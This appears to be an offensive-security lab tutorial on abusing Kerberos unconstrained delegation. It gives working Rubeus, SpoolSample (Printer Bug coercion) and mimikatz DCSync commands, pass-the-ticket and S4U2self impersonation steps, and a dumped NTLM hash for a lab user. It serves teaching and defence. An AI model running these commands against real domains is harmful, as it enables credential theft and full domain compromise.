Unconstrained delegation was the only type of delegation available in Windows 2000. If a user requests a service ticket on a server with unconstrained delegation enabled, the user's Ticket Granting Ticket (TGT) is embedded into the service ticket that is then presented to the server.


The server can cache this ticket in memory and then pretend to be that user for subsequent resource requests in the domain. If unconstrained delegation is not enabled, only the user's Ticket Granting Service (TGS) ticket will be stored in memory. In this case, if the machine is compromised, an attacker could only access the resource specified in the TGS ticket in that user's context.




We will walk through two attack scenarios:

  1. Waiting for a privileged user to authenticate
  2. Leveraging the Printer Bug



Waiting for Privileged User Authentication

If we are able to compromise a server that has unconstrained delegation enabled, and a Domain Administrator subsequently logs in, we will be able to extract their TGT and use it to move laterally and compromise other machines, including Domain Controllers.


Rubeus is the go-to tool for this attack. As a local administrator, Rubeus can be run to monitor stored tickets. If a TGT is found within a TGS ticket, Rubeus will display it to us.


Monitor Stored Tickets with Rubeus

PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap


Group Enumeration

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainGroup -MemberIdentity sarah.lafferty
 
PS C:\Tools> .\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /service:cifs/dc01.DOTNETGUARD.local /ptt


In case the above command doesn't work, we can also use the renew action to get a brand new TGT instead of a TGS ticket:


Using Rubeus and renew

PS C:\Tools> .\Rubeus.exe renew /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /ptt


Once we have the TGS or the TGT we can effectively list the contents of the Domain Controller file system as shown in the following command.


Using the Ticket

PS C:\Tools> dir \\dc01.dotnetguard.local\c$



Leveraging the Printer Bug

The Printer Bug is a flaw in the MS-RPRN protocol (Print System Remote Protocol). This protocol defines the communication of print job processing and print system management between a client and a print server. To leverage this flaw, any domain user can connect to the spools named pipe with the RpcOpenPrinter method and use the RpcRemoteFindFirstPrinterChangeNotificationEx method, and force the server to authenticate to any host provided by the client over SMB.


In other words, the Printer Bug flaw can be leveraged to coerce a server to authenticate back to an arbitrary host. It can be combined with unconstrained delegation to force a Domain Controller to authenticate to a host we control. For example, if we can gain control of SQL01 in the example above, then we may coerce DC01 to authenticate back to the compromised host and retrieve the TGT for DC01. Using this TGT, we would then be able to gain full access to DC01 and perform attacks such as DCSync to compromise the domain. If the Domain Controller(s) do not have the spooler service running, we can use this against any other computer in the domain and craft silver tickets with Rubeus, using the computer's account TGT.


This attack can be performed using SpoolSample PoC, which is used to coerce Windows hosts to authenticate to other hosts via the MS-RPRN RPC interface.


Let's walk through an example using SQLO1 and DC01 in our lab. In a scenario where a compromised host configured with unconstrained delegation has the spool service running, in this case, the Domain Controller, the SpoolSample tool can be combined with Rubeus to monitor for logon events and capture the TGT of the target host.


Once we compromise a host configured to allow unconstrained delegation, we can attempt this attack against a Domain Controller by first starting Rubeus in monitor mode on the compromised host (SQL01 in our example).


Monitoring Tickets with Rubeus

PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap


With Rubeus running in monitor mode, we then attempt to trigger the Printer Bug from the same host (SQL01) by running the SpoolSample tool in another console window. The syntax for this tool is SpoolSample.exe <target server> <capture server>, where the target server in our example lab is DC01 and the capture server is SQL01.


Abusing the Printer Bug

PS C:\Tools> .\SpoolSample.exe dc01.dotnetguard.local sql01.dotnetguard.local


If everything works as expected, we will get the above confirmation message from the tool. Switching back to the console running Rubeus in monitor mode, we retrieved the TGT from the DC01$ account, which is the Domain Controller machine account.


Monitoring Tickets with Rubeus

PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap



We can use this ticket to get a new valid TGT in memory using the renew option in Rubeus.


Renewing the ticket with Rubeus

PS C:\Tools> .\Rubeus.exe renew /ticket:doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCBFVhggRRMIIETaADAgEFoRUbE0lOTEFORUZSRUlHSFQ
uTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE0lOTEFORUZSRUlHSFQuTE9DQUyjggQDMIID/6ADAgESoQMCAQKiggPxBIID7XBw4BNnnymchVY/H/
 9966JMGtJhKaNLBt21SY3+on4lrOrHo<SNIP> /ptt


Now that we have the TGT of DC01$ in memory, we can perform the DCsync attack to retrieve a target user's NTLM password hash. In this example, we retrieve secrets for the user sarah.lafferty.


Performing DCSync

C:\Tools> mimikatz.exe
 mimikatz # lsadump::dcsync /user:sarah.lafferty
   Hash NTLM: 0fcb586d2aec31967c8a310d1ac2bf50


We can capture any account's hash, such as the Administrator account, and then we can use Rubeus or Mimikatz to get a ticket from the compromised account. For example, let's take Sarah' hash 0fcb586d2aec31967c8a310d1ac2bf50 and create a ticket with it:


Using Rubeus to Request a Ticket as Sarah

PS C:\Tools> .\Rubeus.exe asktgt /rc4:0fcb586d2aec31967c8a310d1ac2bf50 /user:sarah.lafferty /ptt
 [+] TGT request successful!
 [*] base64(ticket.kirbi):
 <SNIP>


Now we can use this ticket and impersonate Sarah:


Using Sarah's Ticket to get access to the Domain Controller

PS C:\Tools> dir \\dc01.dotnetguard.local\c$


S4U2self for Non-Domain Controllers


If the target computer is not a domain controller, or if we want to execute attacks other than DCSync, we can use S4U2self to obtain a Service Ticket on behalf of any user we want to impersonate.


With the ticket captured from DC01 using Rubeus monitor and SpoolSample we can use Rubeus s4u /self to forge a service ticket for any service. Let's create a ticket to connect through SMB using the CIFS service. We will need to use Rubeus s4u /self, set the alternative service to CIFS, and use the ticket we have:


 PS C:\Tools> .\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.dotnetguard.local /ptt /ticket:doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCB<SNIP>
 [+] S4U2self success!
 [*] Substituting alternative service name 'CIFS/dc01.dotnetguard.local'
 [*] Got a TGS for 'Administrator' to 'CIFS@DOTNETGUARD.LOCAL'
 [*] base64(ticket.kirbi):
 <SNIP>

This command allows us to impersonate Administrator and request a service ticket for the CIFS service, enabling SMB connections as the impersonated user. This method is particularly useful for scenarios where we have a ticket from a computer that is not a domain controller.


 PS C:\Tools> ls \\dc01.dotnetguard.local\c$